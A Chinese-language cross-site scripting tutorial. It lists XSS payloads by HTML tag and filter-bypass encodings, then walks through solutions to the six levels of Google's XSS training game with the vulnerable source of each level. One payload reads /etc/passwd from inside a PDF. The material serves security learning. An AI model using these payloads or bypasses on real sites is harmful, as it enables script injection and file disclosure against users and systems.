XSS分类

反射型XSS

DOM型XSS

存储型XSS

html标签中嵌入js

a 标签

创建超链接,需要通过触发事件来触发xss,比如点击、鼠标悬停等:

<a href="javascript:alert('XSS')">test</a>
<a/href="javascript:alert('XSS')">test
<a href=x onfocus="alert('XSS');">test</a>
<a href="x" onclick=eval("alert('XSS');")>test</a>
<a href="x" onmouseover="alert('XSS');">test</a>
<a href=x onmouseout="alert('XSS');">test</a>

img 标签

通过onerror来触发xss

<img src=x onerror="alert(1)">

iframe 标签

<iframe src="javascript:alert(1)">test</iframe>
<iframe onload="alert('XSS');"></iframe>
<iframe/src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">  Edge/Chrome

audio 标签

<audio src=1 onerror=alert(1)>

video 标签

svg 标签

button 标签

details 标签

需要展开详细信息:

body 标签

bypass

空格绕过

斜杠 / 绕过空格:

<img/src="x"/onerror=alert(1)>
<img/src=x onerror=alert(1)>

括号绕过

反引号绕过括号:

<script>alert`1`</script>

unicode编码

无法编码操作符和标点符号,比如括号:

<script>\u0061lert(1)</script>

html编码

<a href="&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;">test</a>
<a href="&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;">test</a>
<a href="&#x6a&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3a&#x61&#x6c&#x65&#x72&#x74&#x28&#x31&#x29">test</a>

url编码

在src/href处使用,html会处理 javascript 后的url编码:

<iframe src="javascript:%61%6c%65%72%74%28%31%29">test</iframe>  Edge/Chrome
<a href="javascript:%61%6c%65%72%74%28%31%29">test</a>

xss利用场景

pdf xss

<script>x=new XMLHttpRequest;x.onload=function(){document.write(this.responseText)};x.open('GET','file:///etc/passwd');x.send();</script>

https://xss-game.appspot.com/ 上的6个xss挑战

Level 1: Hello, world of XSS

网页源码:

page_header = """
<!doctype html>
<html>
  <head>
    <!-- Internal game scripts/styles, mostly boring stuff -->
    <script src="/static/game-frame.js"></script>
    <link rel="stylesheet" href="/static/game-frame-styles.css" />
  </head>
 
  <body id="level1">
    <img src="/static/logos/level1.png">
      <div>
"""
 
page_footer = """
    </div>
  </body>
</html>
"""
 
main_page_markup = """
<form action="" method="GET">
  <input id="query" name="query" value="Enter query here..."
    onfocus="this.value=''">
  <input id="button" type="submit" value="Search">
</form>
"""
 
class MainPage(webapp.RequestHandler):
 
  def render_string(self, s):
    self.response.out.write(s)
 
  def get(self):
    # Disable the reflected XSS filter for demonstration purposes
    self.response.headers.add_header("X-XSS-Protection", "0")
 
    if not self.request.get('query'):
      # Show main search page
      self.render_string(page_header + main_page_markup + page_footer)
    else:
      query = self.request.get('query', '[empty]')
       
      # Our search engine broke, we found no results :-(
      message = "Sorry, no results were found for <b>" + query + "</b>."
      message += " <a href='?'>Try again</a>."
 
      # Display the results page
      self.render_string(page_header + message + page_footer)
     
    return
 
application = webapp.WSGIApplication([ ('.*', MainPage), ], debug=False)

默认搜索引擎损坏,根据query的传参值,返回message。目标是利用XSS弹出弹框,只需将前后的标签<b>闭合即可:

?query=</b><script>alert('XSS')</script><b>

这样嵌入页面的代码就是:

page_header + "Sorry, no results were found for <b></b><script>alert('XSS')</script><b></b>. <a href='?'>Try again</a>." + page_footer

Level 2: Persistence is key

index.html中比较关键的是这段函数的定义:

      function displayPosts() {
        var containerEl = document.getElementById("post-container");
        containerEl.innerHTML = "";
 
        var posts = DB.getPosts();
        for (var i=0; i<posts.length; i++) {
          var html = '<table class="message"> <tr> <td valign=top> '
            + '<img src="/static/level2_icon.png"> </td> <td valign=top '
            + ' class="message-container"> <div class="shim"></div>';
 
          html += '<b>You</b>';
          html += '<span class="date">' + new Date(posts[i].date) + '</span>';
          html += "<blockquote>" + posts[i].message + "</blockquote";
          html += "</td></tr></table>"
          containerEl.innerHTML += html; 
        }
      }
 
      window.onload = function() { 
        document.getElementById('clear-form').onsubmit = function() {
          DB.clear(function() { displayPosts() });
          return false;
        }
 
        document.getElementById('post-form').onsubmit = function() {
          var message = document.getElementById('post-content').value;
          DB.save(message, function() { displayPosts() } );
          document.getElementById('post-content').value = "";
          return false;
        }
 
        displayPosts();
      }
 

简单来说,就是将输入框中用户输入的内容通过innerHTML动态加载到页面,查阅innerHTML的文档可知,HTML 5 中指定不执行由 innerHTML 插入的<script>标签,因此本题无法简单地利用<script>alert('XSS')</script>来实现XSS

文档中介绍了一条不依赖script标签来执行JavaScript的方法,光用innerHTML是无法避免XSS攻击的:

</blockquote><img src='x' onerror="alert('XSS')"><blockquote>

文档中也给出了安全建议,使用Node.textContent,它不会把给定的内容解析为 HTML,它仅仅是将原始文本插入给定的位置


Level 3: That sinking feeling…

index.html:

<!doctype html>
<html>
  <head>
    <!-- Internal game scripts/styles, mostly boring stuff -->
    <script src="/static/game-frame.js"></script>
    <link rel="stylesheet" href="/static/game-frame-styles.css" />
 
    <!-- Load jQuery -->
    <script
      src="//ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js">
    </script>
 
    <script>
      function chooseTab(num) {
        // Dynamically load the appropriate image.
        var html = "Image " + parseInt(num) + "<br>";
        html += "<img src='/static/level3/cloud" + num + ".jpg' />";
        $('#tabContent').html(html);
 
        window.location.hash = num;
 
        // Select the current tab
        var tabs = document.querySelectorAll('.tab');
        for (var i = 0; i < tabs.length; i++) {
          if (tabs[i].id == "tab" + parseInt(num)) {
            tabs[i].className = "tab active";
            } else {
            tabs[i].className = "tab";
          }
        }
 
        // Tell parent we've changed the tab
        top.postMessage(self.location.toString(), "*");
      }
 
      window.onload = function() { 
        chooseTab(unescape(self.location.hash.substr(1)) || "1");
      }
 
      // Extra code so that we can communicate with the parent page
      window.addEventListener("message", function(event){
        if (event.source == parent) {
          chooseTab(unescape(self.location.hash.substr(1)));
        }
      }, false);
    </script>
 
  </head>
  <body id="level3">
    <div id="header">
      <img id="logo" src="/static/logos/level3.png">
      <span>Take a tour of our cloud data center.</a>
    </div>
 
    <div class="tab" id="tab1" onclick="chooseTab('1')">Image 1</div>
    <div class="tab" id="tab2" onclick="chooseTab('2')">Image 2</div>
    <div class="tab" id="tab3" onclick="chooseTab('3')">Image 3</div>
 
    <div id="tabContent"> </div>
  </body>
</html>

每次加载页面都会触发onload,截取url中从#开始的字符串,如果没有则直接执行chooseTab(“1”),根据location.hash的属性值向id=“tabContent"动态插入html代码,实现页面的切换和图片的显示

观察到并未对location.hash进行限制,且该值可控,直接利用script标签即可实现XSS:

1.jpg' /><script>alert('XSS')</script><!--

也可以使用onerror来实现,但是无法加载图片:

1' onerror="alert('XSS')" x=

Level 4: Context matters

timer.html:

<!doctype html>
<html>
  <head>
    <!-- Internal game scripts/styles, mostly boring stuff -->
    <script src="/static/game-frame.js"></script>
    <link rel="stylesheet" href="/static/game-frame-styles.css" />
 
    <script>
      function startTimer(seconds) {
        seconds = parseInt(seconds) || 3;
        setTimeout(function() { 
          window.confirm("Time is up!");
          window.history.back();
        }, seconds * 1000);
      }
    </script>
  </head>
  <body id="level4">
    <img src="/static/logos/level4.png" />
    <br>
    <img src="/static/loading.gif" onload="startTimer('{{ timer }}');" />
    <br>
    <div id="message">Your timer will execute in {{ timer }} seconds.</div>
  </body>
</html>

timer经level.py中template.render渲染,会对恶意的XSS语句进行转义,例如传入<script>alert(1)</script>

<div id="message">Your timer will execute in &lt;script&gt;alert(1)&lt;/script&gt; seconds.</div>

所以只能考虑从第一个timer进行利用,在传入<script>alert('XSS')</script>时发现根本无法触发startTimer,未出现confirm的弹窗,考虑是传参可能出了问题。

查看Hint2,发现浏览器在解析标签attributes属性值时,会先进行HTML-decode,因此即使tempate.render对特殊符号进行了编码,在解析onload属性中的timer时仍然会以原字符的形式解析,所以传入单引号时无法触发函数

知道这个特性后,只需闭合左边的'(再调用alert即可实现XSS:

5');alert('XSS

Level 5: Breaking protocol

level.py:

class MainPage(webapp.RequestHandler):
  def render_template(self, filename, context={}):
    path = os.path.join(os.path.dirname(__file__), filename)
    self.response.out.write(template.render(path, context))
 
  def get(self):
    # Disable the reflected XSS filter for demonstration purposes
    self.response.headers.add_header("X-XSS-Protection", "0")
 
    # Route the request to the appropriate template
    if "signup" in self.request.path:
      self.render_template('signup.html', 
        {'next': self.request.get('next')})
    elif "confirm" in self.request.path:
      self.render_template('confirm.html', 
        {'next': self.request.get('next', 'welcome')})
    else:
      self.render_template('welcome.html', {})
     
    return
 
application = webapp.WSGIApplication([ ('.*', MainPage), ], debug=False)

welcome.html:

<!doctype html>
<html>
  <head>
    <!-- Internal game scripts/styles, mostly boring stuff -->
    <script src="/static/game-frame.js"></script>
    <link rel="stylesheet" href="/static/game-frame-styles.css" />
  </head>
 
  <body id="level5">
    Welcome! Today we are announcing the much anticipated<br><br>
    <img src="/static/logos/level5.png" /><br><br>
 
    <a href="/level5/frame/signup?next=confirm">Sign up</a> 
    for an exclusive Beta.
  </body>
</html>

signup.html:

<!doctype html>
<html>
  <head>
    <!-- Internal game scripts/styles, mostly boring stuff -->
    <script src="/static/game-frame.js"></script>
    <link rel="stylesheet" href="/static/game-frame-styles.css" />
  </head>
 
  <body id="level5">
    <img src="/static/logos/level5.png" /><br><br>
    <!-- We're ignoring the email, but the poor user will never know! -->
    Enter email: <input id="reader-email" name="email" value="">
 
    <br><br>
    <a href="{{ next }}">Next >></a>
  </body>
</html>

next值可控,将href属性值设为javascript代码段即可实现XSS:

javascript:alert('XSS');

Level 6: Follow the 🐇

index.html:

<!doctype html>
<html>
  <head>
    <!-- Internal game scripts/styles, mostly boring stuff -->
    <script src="/static/game-frame.js"></script>
    <link rel="stylesheet" href="/static/game-frame-styles.css" />
 
    <script>
    function setInnerText(element, value) {
      if (element.innerText) {
        element.innerText = value;
      } else {
        element.textContent = value;
      }
    }
 
    function includeGadget(url) {
      var scriptEl = document.createElement('script');
 
      // This will totally prevent us from loading evil URLs!
      if (url.match(/^https?:\/\//)) {
        setInnerText(document.getElementById("log"),
          "Sorry, cannot load a URL containing \"http\".");
        return;
      }
 
      // Load this awesome gadget
      scriptEl.src = url;
 
      // Show log messages
      scriptEl.onload = function() { 
        setInnerText(document.getElementById("log"),  
          "Loaded gadget from " + url);
      }
      scriptEl.onerror = function() { 
        setInnerText(document.getElementById("log"),  
          "Couldn't load gadget from " + url);
      }
 
      document.head.appendChild(scriptEl);
    }
 
    // Take the value after # and use it as the gadget filename.
    function getGadgetName() { 
      return window.location.hash.substr(1) || "/static/gadget.js";
    }
 
    includeGadget(getGadgetName());
 
    // Extra code so that we can communicate with the parent page
    window.addEventListener("message", function(event){
      if (event.source == parent) {
        includeGadget(getGadgetName());
      }
    }, false);
 
    </script>
  </head>
 
  <body id="level6">
    <img src="/static/logos/level6.png">
    <img id="cube" src="/static/level6_cube.png">
    <div id="log">Loading gadget...</div>
  </body>
</html>

实现了一个从外部加载js代码并添加到head的功能,要求location.hash中不包含"http"字符串,可以使用data协议

https://xss-game.appspot.com/level6/frame#data:,alert('XSS');